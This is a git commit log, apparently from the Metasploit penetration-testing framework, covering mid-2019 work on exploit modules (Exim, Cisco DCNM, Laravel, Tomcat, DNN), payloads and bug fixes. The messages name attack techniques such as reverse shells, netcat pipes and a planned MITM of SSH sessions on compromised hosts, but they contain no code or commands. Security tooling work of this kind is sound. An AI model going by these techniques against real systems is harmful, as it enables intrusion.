vitorespf 6f21abfe08 Update schneider_electric_net55xx_encoder.rb 2019-07-16 22:16:34 -04:00
vitorespf 6897d2ce17 Update schneider_electric_net55xx_encoder.rb 2019-07-16 22:03:46 -04:00
vitorespf 4ee745e21e Update schneider_electric_net55xx_encoder.rb 2019-07-16 21:52:28 -04:00
vitorespf c3fbd63654 Update schneider_electric_net55xx_encoder.rb 2019-07-16 21:45:06 -04:00
vitorespf 55cc66f893 Update schneider_electric_net55xx_encoder.rb
Breaking xmlPayload into multiple lines
2019-07-16 21:27:15 -04:00
h00die 08a0528d8a add aux file eater module 2019-07-16 20:52:00 -04:00
Wietsman 26c87b1869 Wrap to 80 columns 2019-07-17 00:21:21 +02:00
Wietsman 73c6a11ccb Apply suggestions from code review
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-16 22:38:58 +02:00
Wietsman 2d86312f6c Apply suggestions from code review
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-16 22:37:56 +02:00
holdonasec b9c2ec60f5 Add DNN Cookie Deserialization RCE Exploit 2019-07-16 12:16:53 -04:00
Wietsman ac454d3044 Ahsay backup v7.x - v8.1.1.50 file upload 2019-07-16 16:10:13 +02:00
h00die fd628583fe crack module peer review 2019-07-15 19:57:39 -04:00
Metasploit 182c8a23f4 automatic module_metadata_base.json update 2019-07-15 09:40:43 -07:00
Wei Chen 27bb166938 Land #12011, Add module for cve-2018-8453 2019-07-15 11:31:07 -05:00
vitorespf 07834d7355 Update modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-07-15 12:00:24 -03:00
Metasploit 8ef4cca49f automatic module_metadata_base.json update 2019-07-15 07:52:11 -07:00
vitorespf 38f17b4062 Update modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-07-15 11:48:43 -03:00
vitorespf 10b402fd7b Update modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-07-15 11:47:45 -03:00
Jacob Robles 5c0bbbbaa0 Land #12070, Add module for CVE-2019-0841 2019-07-15 09:32:47 -05:00
yaumn e51138fa4b Establish a tcp connection to check for the exim version. 2019-07-13 22:45:21 +01:00
yaumn 764a4a0692 Improve check regex 2019-07-13 19:57:03 +01:00
yaumn e2a9907e99 Add SendExpectTimeout option 2019-07-13 19:55:12 +01:00
yaumn f465e43e34 Change tcp communication with meterpreter 2019-07-13 19:25:34 +01:00
Metasploit 5df104c2dc automatic module_metadata_base.json update 2019-07-12 18:39:54 -07:00
William Vu d1c6364d58 Land #12086, joomla_registration_privesc check fix 2019-07-12 20:31:19 -05:00
William Vu 501a9109a5 Fix and refactor check method 2019-07-12 20:29:43 -05:00
Pedro Ribeiro 18f76f00b5 Rename modules/exploit/multi/http/cisco_dcnm_upload_2019.rb to modules/exploits/multi/http/cisco_dcnm_upload_2019.rb 2019-07-12 22:02:05 +01:00
Pedro Ribeiro 7386e416e6 Update and rename cisco_dcnm_upload_2019.rb to modules/exploit/multi/http/cisco_dcnm_upload_2019.rb 2019-07-12 22:01:29 +01:00
William Vu 2bc2b88ee6 vprint and quotes 2019-07-12 14:37:34 -05:00
Adam Cammack ca2f86f633 Land #12087, Use shell for passthrough commands 2019-07-12 14:02:51 -05:00
William Vu 77c0dacba2 Restore unknown_command passthrough to the shell
This continues to prefer system over popen, but it restores the original
behavior of shelling out, allowing the use of shell metacharacters, etc.
2019-07-12 13:39:37 -05:00
William Vu be5f15a245 Add @h00die and @bcoles changes 2019-07-12 12:46:13 -05:00
William Vu a586fda620 Land #12031, Msf::Exploit::Remote::Tcp#shutdown 2019-07-12 12:26:25 -05:00
Metasploit a46670b4cb automatic module_metadata_base.json update 2019-07-12 07:46:12 -07:00
Jacob Robles de40b3e1c4 Land #12062, Add Laravel PHP RCE CVE-2018-15133 2019-07-12 09:28:33 -05:00
Jacob Robles 30d7c9427f Add CVE reference 2019-07-12 09:08:15 -05:00
Jacob Robles 0f76729108 Update doc 2019-07-12 08:17:17 -05:00
bcoles 645b9179a2 Add support for pubprn 2019-07-12 23:16:43 +10:00
Jacob Robles 73b1790472 Use include? method 2019-07-12 07:59:30 -05:00
Jacob Robles e84379cabe Refactor 2019-07-12 07:45:24 -05:00
Guillaume Andre 60dbbb0455 Ensure temp files are deleted in every case
Change-Id: I53401e4bcce887048f433743a965421f93d699ba
2019-07-12 12:20:37 +01:00
bwatters-r7 a280d00612 Follow acammack's guidance for excluding filedropped exploits
usage of pingback payloads
2019-07-11 17:13:31 -05:00
Patrick Webster f13378c503 Minor fix for aux joomla_registration_privesc
Module checks for version number. If disclosed, checks for vulnerable release ranges.
Missing a Safe retval for known immune numbers.
2019-07-12 06:37:08 +10:00
Metasploit 8c89c81525 automatic module_metadata_base.json update 2019-07-11 13:35:37 -07:00
asoto-r7 f13616843c Land #12041, Add Xymon useradm Command Execution module 2019-07-11 15:20:13 -05:00
Jeffrey Martin 60ffc3a954 Land #12085, Fix is_payload_compatible? for nil payloads 2019-07-11 14:30:47 -05:00
William Vu 502a26bcbd Fix is_payload_compatible? for nil payloads 2019-07-11 14:00:24 -05:00
vitorespf 925d894f22 Add files via upload 2019-07-11 14:10:37 -04:00
Metasploit e6766c23a5 Bump version of framework to 5.0.37 2019-07-11 10:04:09 -07:00
Brent Cook 18b8974761 Land #11969, deprecate db_rebuild_cache command 2019-07-11 11:02:17 -05:00
Guillaume Andre 642a71383d Classic shell exploit now uses a bash script
Change-Id: I770cf9bcae5c5a265c19f2dc9e4a512e30705b6c
2019-07-11 17:01:23 +01:00
Guillaume Andre 565e18cbe8 Add a few checks
Change-Id: Ieca129a54d2105bf646e6f848cb5ecec804c372f
2019-07-11 14:20:21 +01:00
Guillaume Andre 6b8ee4e4f9 Fix typo
Change-Id: Ibde0c547fda37c38118d54c8dc219763e6e32f1f
2019-07-11 13:54:31 +01:00
Guillaume Andre 8e57599b95 Update documentation
Change-Id: Iaaed3de37d244d7c9fc81bd6d99bc5e4de6b050f
2019-07-11 13:52:08 +01:00
Pedro Ribeiro fa75632c7e Update cisco_dcnm_upload_2019.rb
Co-Authored-By: @shellfail <jrobles@rapid7.com>
2019-07-11 12:11:27 +01:00
Pedro Ribeiro eebe13c1de Update cisco_dcnm_upload_2019.rb
Co-Authored-By: @shellfail <jrobles@rapid7.com>
2019-07-11 12:11:16 +01:00
William Vu 2dcb646a16 Land #12080, system vs. popen for unknown_command 2019-07-10 21:24:42 -05:00
Metasploit 05382849a4 automatic module_metadata_base.json update 2019-07-10 16:04:18 -07:00
Jeffrey Martin 612bd2fcca Land 12079, No effing idea 2019-07-10 17:43:18 -05:00
Tod Beardsley fbfa37916c Tut tut
Edit a blue comment
2019-07-10 17:41:54 -05:00
Adam Cammack b419ab018c Gracefully handle passthrough commands
The `system` method handles input and output as appropriate, allowing
programs that need user input to execute properly without racing
msfconsole over STDIN
2019-07-10 17:40:49 -05:00
Metasploit 6f7c061bb0 automatic module_metadata_base.json update 2019-07-10 09:29:15 -07:00
yaumn 435240ed41 Update modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-10 17:24:48 +01:00
yaumn 074c73236a Update modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-10 17:24:32 +01:00
yaumn 7812e0037b Update modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-10 17:24:13 +01:00
yaumn af89433c1d Update modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-10 17:23:50 +01:00
yaumn 9ffbfe0985 Update modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-10 17:23:38 +01:00
yaumn a06dffa174 Update modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-10 17:22:52 +01:00
yaumn f1eda91003 Update documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-10 17:22:38 +01:00
yaumn 8b54d0669d Update documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-10 17:22:26 +01:00
William Vu 4302c3f3b0 Land #12074, missing split fix for #12072 2019-07-10 11:17:56 -05:00
William Vu c917ec70d1 Fix missing split in struts2_rest_xstream 2019-07-10 11:15:36 -05:00
Metasploit a25f9afc9f automatic module_metadata_base.json update 2019-07-10 08:54:07 -07:00
William Vu cd3ffb92ef Land #12072, cmd_psh_payload arch string fixes 2019-07-10 10:38:22 -05:00
Guillaume Andre df28038279 Update documentation
Change-Id: I68d9e08695ed7cf0476d70030c1ff44c770c425b
2019-07-10 11:42:02 +01:00
Guillaume Andre 5d52b0326b Add better checks at the beginning of the exploit.
Change-Id: Ib80907f03f15b6c0cf32b48f059cf042e4d6a91f
2019-07-10 11:33:09 +01:00
Metasploit c5032df7fd automatic module_metadata_base.json update 2019-07-09 17:52:33 -07:00
h00die 9274b1d259 Land #12024, add gatherproof to ssh_login modules 2019-07-09 20:35:49 -04:00
Pedro Ribeiro 54b6e489a8 Add full disc link 2019-07-10 01:03:01 +01:00
Pedro Ribeiro 54f98cbdc3 Add full disc link 2019-07-10 01:02:41 +01:00
William Vu e6300bfd63 Fix cmd_psh_payload requiring an arch string
We may want to update Rex::Powershell to take the first in an array.
2019-07-09 17:43:23 -05:00
Shelby Pace 70d67f1dbb merged write_to_disk and load_dll_with_diaghub 2019-07-09 11:39:38 -05:00
Shelby Pace 86d0d1d153 remove validate_target 2019-07-09 10:52:02 -05:00
Guillaume Andre b68383141c Added Qualys and dhn to credits. Set suid bit of payload instead of shell launcher. Print detected exim version
Change-Id: I61805a4d2b6f7f8a268b677c3c6f1d76ada034da
2019-07-09 16:51:14 +01:00
Shelby Pace f7aa6d79d7 Update modules/exploits/windows/local/appxsvc_hard_link_privesc.rb
Co-Authored-By: @shellfail <jrobles@rapid7.com>
2019-07-09 10:47:57 -05:00
Shelby Pace c647d0ba52 made suggested change to write_payload 2019-07-09 10:46:46 -05:00
Shelby Pace 096857d1ad swap check codes 2019-07-09 10:01:49 -05:00
Shelby Pace f7c252eef3 move source to external/source directory 2019-07-09 09:08:28 -05:00
Jacob Robles a55aea33a9 Add cve-2018-8453 exploit module 2019-07-09 07:15:13 -05:00
Shelby Pace ccdb7ba262 remove unused variable 2019-07-08 12:57:47 -05:00
Shelby Pace f0f1a41ba5 add documentation and module 2019-07-08 12:49:22 -05:00
h00die b7df6c1272 juniper cisco local config eaters 2019-07-07 21:49:48 -04:00
Patrick Webster 163e85bad9 fail Spaces at EOL is effing stupid unless the line is exponentiall^y long. 2019-07-08 11:36:49 +10:00
Patrick Webster a9ecef74fd Guessing build fail must be this. 2019-07-08 09:30:52 +10:00
Patrick Webster 5a035aaf7c Owch fix syntax. 2019-07-08 09:18:39 +10:00
yaumn df46faf71f Finish documentation. Exploit is stable. 2019-07-07 23:58:29 +01:00
Patrick Webster 691c606c53 Also some bare POSTs work. 2019-07-08 05:13:38 +10:00
Patrick Webster a9791fad74 Added Lavarel PHP exploit module with fixes. 2019-07-08 00:50:13 +10:00
yaumn 7b2a1b67ed Add a documentation file 2019-07-07 00:25:54 +01:00
Pedro Ribeiro 0f32f03dfd Update cisco_dcnm_download.rb 2019-07-06 23:15:19 +08:00
Pedro Ribeiro 691dfeaf00 Add files via upload 2019-07-06 22:58:49 +08:00
Pedro Ribeiro 9465a3c143 Delete cisco_dcnm_download.rb 2019-07-06 22:58:28 +08:00
Pedro Ribeiro f45ad6f30a add exploit for CVE-2019-1621 2019-07-06 22:56:12 +08:00
Pedro Ribeiro a33a981cdd Add exploit for CVE-2019-1619 2019-07-06 22:51:42 +08:00
Pedro Ribeiro c8419d9975 Merge pull request #9 from rapid7/master
aaa
2019-07-06 22:50:12 +08:00
yaumn a5843e48a9 Basic reverse shell does not disconnect anymore 2019-07-06 00:53:33 +01:00
Guillaume Andre 4c2cacd7d6 Add meterpreter support 2019-07-05 16:53:39 +01:00
yaumn 2c8ad0e357 First tests with meterpreter sockets 2019-07-05 01:04:15 +01:00
yaumn 74eb74e606 Pipe method with netcat now works 2019-07-04 23:15:23 +01:00
h00die 0d1385d8d5 Merge pull request #12 from jrobles-r7/tika
Tika module updates, check and CmdStager
2019-07-04 13:38:29 -04:00
Metasploit c1c600cbe8 Bump version of framework to 5.0.36 2019-07-04 10:10:16 -07:00
Guillaume Andre e4c27d3eab Clean pipe file
Change-Id: Ibc78639ad44eb56ffa26fcfb4f656b5a78dbf76a
2019-07-04 16:20:13 +01:00
Guillaume Andre 3c0b581371 Clean code
Change-Id: I83287dcd52c4ba566396a0ff7e4f3c3125d12bb0
2019-07-04 16:16:27 +01:00
Guillaume Andre 9b378ceb71 Add options. Add pipe netcat method
Change-Id: I0c401add1c2ff76e3e2c3d82a8fb7f74db405a1f
2019-07-04 15:02:03 +01:00
yaumn bddfef0cac Add options. Exploits now works with both setuid and nc methods 2019-07-04 00:16:28 +01:00
Shelby Pace c69799262d fixed issue with hard link exe 2019-07-03 15:44:00 -05:00
Shelby Pace a83812ad55 add source code, compiled exe for diaghub loading 2019-07-03 14:32:22 -05:00
Guillaume Andre a8e4510f53 Merge branch 'exim4-priv-esc' of github.com:yaumn/metasploit-framework into exim4-priv-esc
Change-Id: I6f14e91da0bc4bf692acaed1759540f4b5b5f908
2019-07-03 14:34:11 +01:00
yaumn bb58160d10 Exploits now also works with netcat 2019-07-03 14:30:23 +01:00
yaumn 4f1d9af5fd Add netcat method (still buggy though) 2019-07-03 14:30:23 +01:00
Guillaume Andre a2411a1d63 First version of the exploit is now working
Change-Id: Idf6b6d773cf71c477fe68885313f5f98d74d9c11
2019-07-03 14:30:23 +01:00
Guillaume Andre bef6425d0e First commit
Change-Id: If751eb1753fc8991fe7971c7123a203734396a46
2019-07-03 14:30:23 +01:00
Brendan Coles cd1669f2b2 Use identify_hash for creds 2019-07-03 08:33:26 +00:00
Brent Cook 0897849ddf Land #12045, lock rex-socket to 0.1.17 2019-07-02 16:55:54 -05:00
Metasploit 5eb339368f automatic module_metadata_base.json update 2019-07-02 14:35:20 -07:00
Brent Cook 6ab02ba0bc revert rex-socket back to 0.1.17 for now
This reverts a change that causes SSL certificate generation to not working properly through all of the various shim functions in rex-socket. This is the quickest fix which grants some time to ponder if the interface could be a little more robust in rex-socket in the first place.
2019-07-02 16:32:52 -05:00
William Vu ef20123c34 Land #12044, snmp_enum SNMP::NoSuchInstance fix 2019-07-02 16:26:33 -05:00
William Vu 64b385234f Land #12036, OpenVAS missing workspace import fix 2019-07-02 16:26:26 -05:00
Matthew Kienow 260c369aff Fix network interface processing
The SNMP walk operation can return an SNMP::NoSuchInstance class.
The error class must be handled rather than attempting to use it as a
valid value.
2019-07-02 15:14:55 -04:00
Metasploit eeca72d39b automatic module_metadata_base.json update 2019-07-02 10:59:24 -07:00
William Vu df85377ff3 Land #12042, bypassuac_silentcleanup author fix 2019-07-02 12:43:14 -05:00
William Vu 5e04ab2e66 Add lokiuox to bypassuac_silentcleanup authors
Looks like they were removed by accident.
2019-07-02 12:36:07 -05:00
Brendan Coles a0538a9613 Add Xymon useradm Command Execution module 2019-07-02 14:04:07 +00:00
Brendan Coles 14552a7332 Update documentation 2019-07-02 13:58:19 +00:00
Metasploit 295c484fe4 automatic module_metadata_base.json update 2019-07-01 14:39:07 -07:00
h00die a42c7ea736 land #11990 windows tomcat cmdlinearguments 2019-07-01 17:29:02 -04:00
h00die 9ab7b7f5e6 add cmdlineargs example 2019-07-01 17:19:04 -04:00
Metasploit eb643793a2 automatic module_metadata_base.json update 2019-07-01 14:16:38 -07:00
asoto-r7 d3056723e1 Land #12030, CVE-2019-12181: Serv-U FTP Server prepareinstallation privesc 2019-07-01 16:01:04 -05:00
Matthew Kienow 4e11dcfee1 Fix import issue caused by missing wspace key
Modify import module to follow pattern used in other Msf::DBManager
import modules. Test module updated for method name changes.
2019-07-01 15:58:36 -04:00
Brendan Coles 9539408e33 Add support for retrieving xymonpasswd 2019-07-01 10:51:34 +00:00
O . S . O 51fe61838d Create xor_context.rb 2019-07-01 10:36:08 +02:00
Brendan Coles f630350b1f Add documentation 2019-06-30 04:09:54 +00:00
Brendan Coles 1a7fb79cfc Add config retrieval 2019-06-30 04:03:17 +00:00
bcoles 82b583b2b5 Use symbolic args 2019-06-30 12:31:29 +10:00
Brendan Coles a4da66fabe Add Xymon Daemon Gather Client Host Information module 2019-06-29 16:48:39 +00:00
Brendan Coles b71fe69c16 Add shutdown method to Exploit::Remote::Tcp 2019-06-29 16:42:08 +00:00
Metasploit d723122e0e automatic module_metadata_base.json update 2019-06-29 03:52:23 -07:00
Brent Cook e50ab5cd13 Land #11726, add exploit for CVE-2019-8513, macOS TimeMachine cmd injection 2019-06-29 05:36:12 -05:00
Brent Cook 6fd18aaf8a add High Sierra scenario 2019-06-29 05:35:29 -05:00
Brent Cook 45734408a6 remove reload_search since refresh_cache_from_module_files seems to not work as expected at runtime 2019-06-29 03:51:56 -05:00
Metasploit 78967c3e6d automatic module_metadata_base.json update 2019-06-29 01:46:05 -07:00
Brent Cook a186396836 unlink the user store if it exists 2019-06-29 03:45:53 -05:00
Brent Cook 4756a17dfa remove update of the base module store 2019-06-29 03:37:54 -05:00
Brent Cook 42c0a3b96a deprecate the db_rebuild_cache command, add reload_search
For a while, Metasploit has not used the old database-backed module cache in favor of the lightweight JSON data store. This also means that the db_rebuild_cache command has been broken.

While the base module cache usually stays up to date, if you delete a module as a developer, there's currently no great way to make the search function forget about that module unless you rebuild the cache manually (a procedure mostly documented inside of an automated build job).

This moves the logic from that build job into the a new reload_search command, and deprecates the old one.
2019-06-29 03:36:39 -05:00
Brent Cook 4e544fe733 Land #11968, only enable UDP stagers for compatible payloads 2019-06-29 03:34:15 -05:00
Brent Cook 83e2c71b44 Land #11923, Set sockaddr_len with x64 shell_find_port payload 2019-06-29 03:26:52 -05:00
Brent Cook 03d1c87eb6 Land #11976, use special-case path for shell command with Android meterpreter 2019-06-29 03:23:27 -05:00
Brent Cook 06f6b0294c Land #12023, repeat search by default 2019-06-29 03:16:03 -05:00
bcoles 895a5b6aec Add software link 2019-06-29 14:15:31 +10:00
bcoles c7ff78c277 Remove spaces at EOL 2019-06-29 14:01:18 +10:00
Brendan Coles 203e3b74db Add Serv-U FTP Server prepareinstallation Privilege Escalation 2019-06-29 03:52:53 +00:00
William Vu 663e61d636 Land #12029, nil fix for core.private.jtr_format 2019-06-28 14:54:06 -05:00
Shelby Pace 6ebe192674 check core.private before accessing jtr_format 2019-06-28 14:17:52 -05:00
William Vu b8165e825d Make help syntax consistent 2019-06-28 14:01:28 -05:00
William Vu b39ed5eb02 Add period 2019-06-28 13:59:52 -05:00
William Vu 3f187d4f0a Update help 2019-06-28 13:58:14 -05:00
William Vu 3c09aa47d7 Once more, with feeling 2019-06-28 13:54:14 -05:00
William Vu fd7f6b2d59 Refactor match/search_params placement 2019-06-28 13:44:24 -05:00
William Vu 353428d10c Prefer cached results when given no arguments 2019-06-28 13:24:40 -05:00
asoto-r7 dd3db07b17 Correctly fixed json_to_mdm_object (thanks @mkienow-r7 for the catch)! 2019-06-28 12:53:04 -05:00
Metasploit a0d10aad94 automatic module_metadata_base.json update 2019-06-28 10:40:38 -07:00
William Vu 0a00f3851a Land #12007, true 0s timeout in send_request_* 2019-06-28 12:32:32 -05:00
William Vu 4bf5e6c53f Land #12014, nil bug fix for HttpServer#get_uri 2019-06-28 12:32:19 -05:00
Metasploit a3a77f8d4b automatic module_metadata_base.json update 2019-06-28 10:20:01 -07:00
William Vu 49176a3606 Land #11952, Supra Smart Cloud TV RFI module 2019-06-28 12:12:15 -05:00
William Vu baa17290e4 Adjust name :) 2019-06-28 12:08:27 -05:00
Metasploit 354da811ec automatic module_metadata_base.json update 2019-06-28 09:42:39 -07:00
asoto-r7 21dd1091fe Land #12025, Fix sshexec hanging on exec! and blocking close 2019-06-28 11:15:06 -05:00
asoto-r7 45c8c04834 Updated json_to_mdm_object() calls, removing third parameter 2019-06-28 10:18:00 -05:00
Dhiraj Mishra 09d6ae3458 Removing comments
Thanks wvu-r7 for your support.
2019-06-28 16:17:08 +05:30
Dhiraj Mishra 3279c66721 Adding documentation 2019-06-28 15:57:59 +05:30
William Vu d7a5eae146 Fix bug, adjust prints, and check body for "OK" 2019-06-28 04:12:57 -05:00
Metasploit c0f8e7cea6 automatic module_metadata_base.json update 2019-06-27 20:12:41 -07:00
William Vu 7a26e1c257 Fix sshexec hanging on exec! and blocking close 2019-06-27 22:07:37 -05:00
William Vu 51630839ba Land #12022, LoginScanner/PASSWORD_SPRAY fix 2019-06-27 21:56:28 -05:00
William Vu 744a1dca75 Add the ability to display previous search results 2019-06-27 21:27:20 -05:00
William Vu dc81adb417 Add GatherProof advanced option to ssh_login* 2019-06-27 21:04:20 -05:00
William Vu 0a10d41250 Add skip_gather_proof to LoginScanner::SSH 2019-06-27 21:00:29 -05:00
James Barnett 2ed8e6db97 Deregister PASSWORD_SPRAY option for LoginScanner modules 2019-06-27 17:06:32 -05:00
asoto-r7 8d63d2bbf7 pingback: Removing seemingly unnecessary 'generate_raw' method 2019-06-27 16:02:00 -05:00
asoto-r7 229e46f8cb cmd/unix/pingback_bind: Add resiliency to netcat, per wvu's suggestion 2019-06-27 15:48:22 -05:00
Metasploit fcd77b1314 Bump version of framework to 5.0.35 2019-06-27 11:41:42 -07:00
asoto-r7 ac835e139e Pingback: Addressed some comments and suggestions 2019-06-26 16:55:45 -05:00
Shelby Pace 258f631f84 remove echo cmdstagerflavor 2019-06-26 13:56:13 -05:00
Shelby Pace 2f29c914ab add changes, remove db backup delete code 2019-06-26 13:48:14 -05:00
Jacob Robles efc61a4934 Use cmdstager 2019-06-26 10:15:25 -05:00
Jacob Robles 7c3e566a23 Update check
Handle nil error code and fix version extraction based
on both of the possible Apache Tika return pages.
2019-06-26 10:15:25 -05:00
William Vu 933b5f0413 Tidy up send_request_cgi 2019-06-26 00:59:53 -05:00
William Vu 00530031fd Try not encoding the GET parameters 2019-06-26 00:55:23 -05:00
William Vu f3b509a1bc Implement on_request_uri 2019-06-25 23:47:19 -05:00
William Vu fe11eabe62 Merge remote-tracking branch 'upstream/master' into pr/11952 2019-06-25 23:47:06 -05:00
William Vu 01b308fe7c Fix get_resource nil bug in HttpServer#get_uri 2019-06-25 23:10:50 -05:00
RageLtMan f874f50748 Update Author fields for several modules
Add hirura to authors list for the Ruby reverse_ssh payloads.

Update all modules with author-per-line name references to be
consistent (useful given the difference in names between commiter
in git log and GitHub account).

Next steps:
  See if HrrRbSsh client-side implementation can be fleshed out
enough to create alternative payload outputs for both of the Ruby
modules (using TARGET/ACTION to select between net/ or hrr_).
2019-06-25 20:49:26 -04:00
RageLtMan d00d5fbff9 Address review comments by Hirura
@hirura noticed two bugs: a typo, and a mistake creating an empty
RequestHandler object since the underlying library already does
this when it does not have a RequestHandler assigned for the
request type.

Fix typo for #1
Remove the RequestHandler assignments in #2 and related opt merge.

Testing:
  None yet
2019-06-25 18:27:57 -04:00
Wei Chen b59fd4331b Update documentation 2019-06-25 17:14:10 -05:00
Wei Chen 2fb129ad41 Allow check in exploit to be optional 2019-06-25 17:13:55 -05:00
Quentin Kaiser 94dd2b1800 Fix disclosure date format.
Co-Authored-By: @shellfail <jrobles@rapid7.com>
2019-06-25 20:50:56 +02:00
Quentin Kaiser 5ca4163765 Fix documentation markup and titles. 2019-06-25 20:50:09 +02:00
Shelby Pace 2af76c1997 add documentation and finished module 2019-06-25 11:21:15 -05:00
William Vu 77395749da s/infinite/indefinite/ 2019-06-25 01:00:08 -05:00
William Vu 7739e9f43e Update my modules 2019-06-24 13:38:14 -05:00
RageLtMan 3870dad3d1 Fix handler type copy pasta 2019-06-24 13:55:53 -04:00
William Vu b49fa29a7f Allow true zero-second timeout in send_request_*
Also fixes a bogus response when timeout is nil.
2019-06-24 12:07:24 -05:00
yaumn 9e056601eb Exploits now also works with netcat 2019-06-24 08:11:13 +01:00
RageLtMan 510b2f5aac Trim reverse ssh cmd payload 2019-06-23 21:27:48 -04:00
RageLtMan d1eaac9932 Implement native reverse SSH via openssh binary
Implement a reverse SSH shell using nothing but the on-target SSH
client and a fifo in the same manner as used by netcat payloads.
This is not forensically sound as the fifo will be caught by HIDS,
filesystem snapshots, and other defensive measures. However, it
does provide a way out from almost any modern POSIX system as they
nearly all have an SSH client in one form or another.

Convert existing Ruby reverse SSH payloads to use dynamic cached
payload sizing.
2019-06-23 05:48:50 -04:00
RageLtMan c339662fed SshCommandSession and Ruby Payloads
Implement a command-only session type over the HrrRbSsh client
Connection Channels' file descriptors, adjust from base command
session to deal with the separate reader/writer IOs. Technically,
a TTY session works out of the box here as well.

Implement a pair of showcase Ruby payloads using net/ssh to call
back to the handler, create a shell channel, and loop piping I/O
between framework session and client via the Ruby backtick exec.

Next Steps:
  Command payloads need to be written for every major interpreted
language as well as some sort of bashism a la openssl_double if
it comes to that, but preferably single socket implementation.

Testing:
  Very minimal, needs a good run through by the community and R7
2019-06-23 05:20:04 -04:00
RageLtMan dd5814654c update hrr_rb_ssh version 2019-06-22 20:09:26 -04:00
RageLtMan f0b24339fe Implement Rex::Proto::Ssh::Server scaffold
Create the Rex::Proto::Ssh namespace and implement hrr_rb_ssh
objects in the Rex namespace with Rex' sockets stack, permissive
default connection options to accept any authentication, ACLs for
port forwarding, and a modified Connection #initialize method for
simplified instantiation.

The actual Rex::Proto::Ssh::Server object follow standard Rex
semantics for services to permit use in handlers, exploits, and
auxiliary modules in the same manner as the Http::Server is used
today.

This work is far from complete - the HrrRbSsh low-level objects
should be decomposed into Rex' pattern as they currently depend
heavily on their own Procs and Threads internally which use the
parent Connection object's attributes to look up which Proc should
be called in response to a Channel or Authentication request. This
is a bit difficult to do piecemeal given the intertwined data and
execution dependency inside of HrrRbSsh.

Next steps:
1. Create handler and reverse_ssh command session payloads
1a. POSIX systems generally have SSH already
1b. Windows Powershell is likely able to hotload SSH libs as a
pre-stager.
1c. Other interpreted runtimes usually have client-ssh libraries
2. Implement options parsing, handling, etc for user-customizable
functionality from the Msf namespace.
3. Use libssh2 to permit mettle use of the SSH transport.
3a. Bother @OJ about doing the same for Windows Meterpreter.
3b. Bother @zeroSteiner to implement SSH transport for PyMeterp.
3c. Ask @timwr and @mihi how viable this is for Android/Java.
3d. See if @OJ will do this for CLR-meterp on a livestream.
4. Write a post module which runs this SSH server from a mettle
session using the compromised hosts's own host keys and passwd
file for "valid" authentication while logging and MITMing the
entire command stream remotely - help folks shake off some of the
complacency around "secure shells."
5. Write a plugin which will permit sharing of the entire console
context, specific acquired sessions, or TCP forwards with the
pugin's SSH clients based on the credentials used to connect.
6. Further decompose the server code into Rex to permit writing
client fuzzers, loggers, and other tooling to test the posture of
SSH client implementations.
7. Work to implement SSH client functionality in HrrRbSsh and
convert the rest of Rex/Msf to use this library instead only.
8. Rewrite and import MetaSsh into Metasploit proper using the
new Rex::Proto::Ssh code.

-----

Huge thanks to @hirura for writing HrrRbSsh. I've spent countless
hours on and off working to implement server-side semantics in
net/ssh years ago and it was becoming a pretty full rewrite due
to the ordering of server/client req/resp messages and who sent
what to whom. This library is a much much cleaner implementation
and provides full, modern SSH servers in pure Ruby.
2019-06-22 20:06:15 -04:00
RageLtMan 8549f416f8 SSH gem requirement for gemspec 2019-06-22 20:06:15 -04:00
Shelby Pace 54aff89563 add requests to create, remove, clean db backups 2019-06-21 16:00:56 -05:00
yaumn 6b39bec4fc Add netcat method (still buggy though) 2019-06-20 23:21:19 +01:00
Shelby Pace e43fc2d921 added skeleton, check method 2019-06-20 14:05:41 -05:00
Guillaume Andre c8786e181f First version of the exploit is now working
Change-Id: Idf6b6d773cf71c477fe68885313f5f98d74d9c11
2019-06-20 16:53:43 +01:00
NickTyrer 5a010e1446 update documentation 2019-06-20 16:07:25 +01:00
Guillaume Andre c1cf728507 First commit
Change-Id: If751eb1753fc8991fe7971c7123a203734396a46
2019-06-20 12:17:38 +01:00
Tim W 809a990ab8 add mouse doubleclick 2019-06-20 15:21:41 +08:00
Tim W 48d29e532e add keyevent api 2019-06-20 13:54:13 +08:00
Shelby Pace d818a27a7c added check, path for diaghub exploit 2019-06-19 16:14:02 -05:00
Shelby Pace d3cd1a3fa0 added VS2013 compiled executables 2019-06-19 15:19:00 -05:00
Wei Chen 0cec80ba24 update doc 2019-06-18 21:34:16 -05:00
Wei Chen 16cfd3f4ac Fix typos 2019-06-18 15:49:40 -05:00
Wei Chen 4a32164370 Add doc for CVE-2019-0232 2019-06-18 15:28:42 -05:00
Wei Chen 585a4340b2 Add exploit for CVE-2019-0232: Apache Tomcat CGIServlet RCE 2019-06-18 15:28:11 -05:00
NickTyrer 791da38fe4 update instructions 2019-06-16 11:39:03 +01:00
NickTyrer b7137ea426 update module flow 2019-06-15 20:03:17 +01:00
NickTyrer 46ebae8231 implemented rubocop suggestions 2019-06-15 11:06:38 +01:00
Tim W 3338401708 fix #11975, fix meterpreter shell command on android 2019-06-14 06:01:53 +08:00
bwatters-r7 805d64428f Stupid pry... 2019-06-13 10:27:29 -05:00
bwatters-r7 a11d6221d9 Update the session to die after callback
Remove stale old file
2019-06-13 09:08:14 -05:00
Brent Cook f11a205b41 remove patchupdllinject 2019-06-12 17:39:56 -05:00
